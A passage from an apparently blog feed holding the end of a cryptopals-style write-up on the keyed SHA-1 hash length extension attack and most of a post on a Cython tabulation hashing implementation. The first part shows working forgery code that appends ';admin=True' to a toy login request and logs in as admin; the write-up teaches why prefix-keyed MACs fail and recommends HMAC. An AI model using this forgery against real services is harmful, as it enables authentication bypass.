&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;new_mac&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sha1&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;forged_message_len&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;msg_length&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pad&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;new_login_req&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;login_req&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;pad&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;login&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;new_login_req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;new_mac&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;verbose&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The minimum message length is the length of the plaintext (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;login_req&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;); an educated guess for the key length would be 16 and a maximum of 256.&lt;/p&gt;
&lt;p&gt;So the space is defined as:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita.space&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;IntSpace&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;minimum&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;login_req&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;msg_length_space&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;IntSpace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;minimum&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;minimum&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;minimum&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Let’s use &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;is_ok&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; as an &lt;em&gt;oracle&lt;/em&gt; function to &lt;em&gt;explore&lt;/em&gt; the space of possible lengths.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;cryptonita.attacks&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;search&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;guessed_msg_length&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;search&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg_length_space&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;is_ok&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;guessed_msg_length&lt;/span&gt;
&lt;span class="mi"&gt;30&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3 id="login-as-admin"&gt;Login as admin&lt;/h3&gt;
&lt;p&gt;Now we can extend the original &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;login_req&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; with anything and compute for it a valid MAC.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;ext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;;admin=True&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;pad&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;pad_like_sha1&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;guessed_msg_length&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;new_login_req&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;login_req&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;pad&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;ext&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;new_mac&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sha1&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;forged_message_len&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;guessed_msg_length&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pad&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ext&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;login&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;new_login_req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;new_mac&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;Logged&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;admin&lt;/span&gt;
&lt;span class="kc"&gt;True&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Note how &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;login_req&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;pad&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; will be always part of your messages.&lt;/p&gt;
&lt;p&gt;Therefore it could be possible that a more sophisticated &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;login&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; function may detect the forgery but certainly it was not the crypto so prefix-keyed hashes as MAC are a bad idea.&lt;/p&gt;
&lt;h2 id="beyond-sha-1"&gt;Beyond SHA-1&lt;/h2&gt;
&lt;p&gt;SHA-1 exposes its entire state but it is not the only one.&lt;/p&gt;
&lt;p&gt;&lt;label for='CkNoZWNrIFtoYXNoX2V4dGVuZGVyXShodHRwczovL2dpdGh1Yi5jb20vaWFnb3g4Ni9oYXNoX2V4dGVuZGVyKSB0b29sCm1hcmdpbm5vdGVz' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CkNoZWNrIFtoYXNoX2V4dGVuZGVyXShodHRwczovL2dpdGh1Yi5jb20vaWFnb3g4Ni9oYXNoX2V4dGVuZGVyKSB0b29sCm1hcmdpbm5vdGVz' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
Check &lt;a href="https://github.com/iagox86/hash_extender"&gt;hash_extender&lt;/a&gt; tool
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The bibliography says that more are susceptible:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;MD4&lt;/li&gt;
&lt;li&gt;MD5&lt;/li&gt;
&lt;li&gt;RIPEMD-160&lt;/li&gt;
&lt;li&gt;SHA-0&lt;/li&gt;
&lt;li&gt;SHA-1&lt;/li&gt;
&lt;li&gt;SHA-256&lt;/li&gt;
&lt;li&gt;SHA-512&lt;/li&gt;
&lt;li&gt;WHIRLPOOL&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This doesn’t mean that those are broken: a hash function by itself not really care if you can extend the hashing.&lt;/p&gt;
&lt;p&gt;It is when a MAC is constructed as \(H(k ∥ m)\) when the extension capability becomes a problem and breaks the MAC construction.&lt;/p&gt;
&lt;p&gt;While you could use a hash function that does not expose all its internal state (like SHA-512/224) it is still a too risky decision.&lt;/p&gt;
&lt;p&gt;And the &lt;em&gt;suffix-keyed hash&lt;/em&gt;, \(H(m ∥ k)\), is also broken but it is not so trivial (it requires a collision).&lt;/p&gt;
&lt;p&gt;Prefer &lt;a href="https://en.wikipedia.org/wiki/HMAC"&gt;HMAC&lt;/a&gt; instead.&lt;/p&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2023/04/05/Hash-Length-Extension-Attack.html" rel="alternate" type="text/html" title="Keyed Hash Length Extension Attack"/>
    <category term="cryptography" label="cryptography"/>
    <category term="matasano" label="matasano"/>
    <category term="cryptonita" label="cryptonita"/>
    <category term="hash" label="hash"/>
    <category term="extension" label="extension"/>
    <published>2023-04-05T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2023/03/30/Tabulation-Hashing.html</id>
    <title>Tabulation Hashing Implementation and Analysis</title>
    <updated>2023-03-30T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;There are a lot of hash algorithms for different use cases but &lt;em&gt;tabulation hashing&lt;/em&gt; caught my attention years ago for its incredible simplicity and nice independence properties.&lt;/p&gt;
&lt;p&gt;Fast and simple.&lt;/p&gt;
&lt;p&gt;I will explore a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;cython&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; &lt;a href="https://github.com/eldipa/tabulation-hashing"&gt;implementation&lt;/a&gt; and see how fast really is.&lt;!--more--&gt;&lt;/p&gt;
&lt;h2 id="what-is-a-tabulation-hashing"&gt;What is a tabulation hashing?&lt;/h2&gt;
&lt;p&gt;The idea is to take keys of \(k\) bits and convert them into hashes of \(h\) bits.&lt;/p&gt;
&lt;p&gt;We split the key into chunks of \(c\) bits and we construct a table of &lt;em&gt;random numbers&lt;/em&gt; of \(h\) bits each.&lt;/p&gt;
&lt;p&gt;This table will have one row per chunk and each row will be \(2^c\) numbers long.&lt;/p&gt;
&lt;p&gt;The tabulation hashing is completed defined then by these parameters:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;key of \(k\) bits&lt;/li&gt;
&lt;li&gt;hash of \(h\) bits&lt;/li&gt;
&lt;li&gt;chunk of \(c\) bits&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;While in theory we can choose any value, the size of a chunk (\(c\)) should be small as the rows grows exponentially (\(2^c\)) and we want &lt;em&gt;small tables to keep them in the cache&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;And how a key is actually hashed? The following diagrams should explain it:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
Hash a key in 3 simple steps:
&lt;br /&gt;&lt;br /&gt;
1.- Take the key, split it into \(k/c\) chunks.
&lt;br /&gt;&lt;br /&gt;
2.- Use each to &lt;em&gt;index&lt;/em&gt; each row of the table obtaining then \(k/c\) random numbers of \(h\) bits.
&lt;br /&gt;&lt;br /&gt;
3.- Finally xor’ them and the result will be the hash of the key.
&lt;/span&gt;&lt;/figcaption&gt;
&lt;object  class='' align='middle' data='/img/hashes/tabulation-hashing/tabulationhashing.svg' type='image/svg+xml'&gt;&lt;/object&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="cython-implementation"&gt;&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;cython&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; implementation&lt;/h2&gt;
&lt;p&gt;While we have 3 free parameters, I will restrict these:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;keys of 32 or 64 bits&lt;/li&gt;
&lt;li&gt;hashes of 32 or 64 bits&lt;/li&gt;
&lt;li&gt;chunk of 8 bits&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We could code a specific implementation for each key/hash bit size but &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;cython&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; thankfully supports a kind of C++ templates called &lt;em&gt;fused types&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;So, here are the definitions:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;libc.stdint&lt;/span&gt; &lt;span class="k"&gt;cimport&lt;/span&gt; &lt;span class="n"&gt;uint32_t&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;uint64_t&lt;/span&gt;

&lt;span class="k"&gt;ctypedef&lt;/span&gt; &lt;span class="k"&gt;fused&lt;/span&gt; &lt;span class="n"&gt;key_dtype&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;uint32_t&lt;/span&gt;
    &lt;span class="n"&gt;uint64_t&lt;/span&gt;

&lt;span class="k"&gt;ctypedef&lt;/span&gt; &lt;span class="k"&gt;fused&lt;/span&gt; &lt;span class="n"&gt;hash_dtype&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;uint32_t&lt;/span&gt;
    &lt;span class="n"&gt;uint64_t&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now let’s write a &lt;em&gt;single&lt;/em&gt; generic hash function:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nd"&gt;@cython&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;boundscheck&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nd"&gt;@cython&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;wraparound&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nd"&gt;@cython&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;infer_types&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;cdef&lt;/span&gt; &lt;span class="kr"&gt;inline&lt;/span&gt; &lt;span class="kt"&gt;hash_dtype&lt;/span&gt; &lt;span class="nf"&gt;c_hash_x&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key_dtype&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;hash_dtype&lt;/span&gt;&lt;span class="p"&gt;[::&lt;/span&gt;&lt;span class="mf"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="n"&gt;table&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;nogil&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;cdef&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;hash_dtype&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;h7&lt;/span&gt;
        &lt;span class="n"&gt;key_dtype&lt;/span&gt; &lt;span class="n"&gt;k0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;k1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;k2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;k3&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;k4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;k5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;k6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;k7&lt;/span&gt;

    &lt;span class="n"&gt;k0&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x000000ff&lt;/span&gt;
    &lt;span class="n"&gt;k1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mf"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x000000ff&lt;/span&gt;
    &lt;span class="n"&gt;k2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mf"&gt;16&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x000000ff&lt;/span&gt;
    &lt;span class="n"&gt;k3&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mf"&gt;24&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x000000ff&lt;/span&gt;

    &lt;span class="n"&gt;h0&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;table&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;k0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;h1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;table&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;k1&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mf"&gt;256&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;h2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;table&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;k2&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mf"&gt;256&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mf"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;h3&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;table&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;k3&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mf"&gt;256&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mf"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

    &lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;h0&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;h1&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;h2&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;h3&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;key_dtype&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="n"&gt;uint64_t&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;k4&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mf"&gt;32&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x000000ff&lt;/span&gt;
        &lt;span class="n"&gt;k5&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mf"&gt;40&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x000000ff&lt;/span&gt;
        &lt;span class="n"&gt;k6&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mf"&gt;48&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x000000ff&lt;/span&gt;
        &lt;span class="n"&gt;k7&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="mf"&gt;56&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mf"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x000000ff&lt;/span&gt;

        &lt;span class="n"&gt;h4&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;table&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;k4&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mf"&gt;256&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mf"&gt;4&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
        &lt;span class="n"&gt;h5&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;table&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;k5&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mf"&gt;256&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mf"&gt;5&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
        &lt;span class="n"&gt;h6&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;table&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;k6&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mf"&gt;256&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mf"&gt;6&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
        &lt;span class="n"&gt;h7&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;table&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;k7&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mf"&gt;256&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mf"&gt;7&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

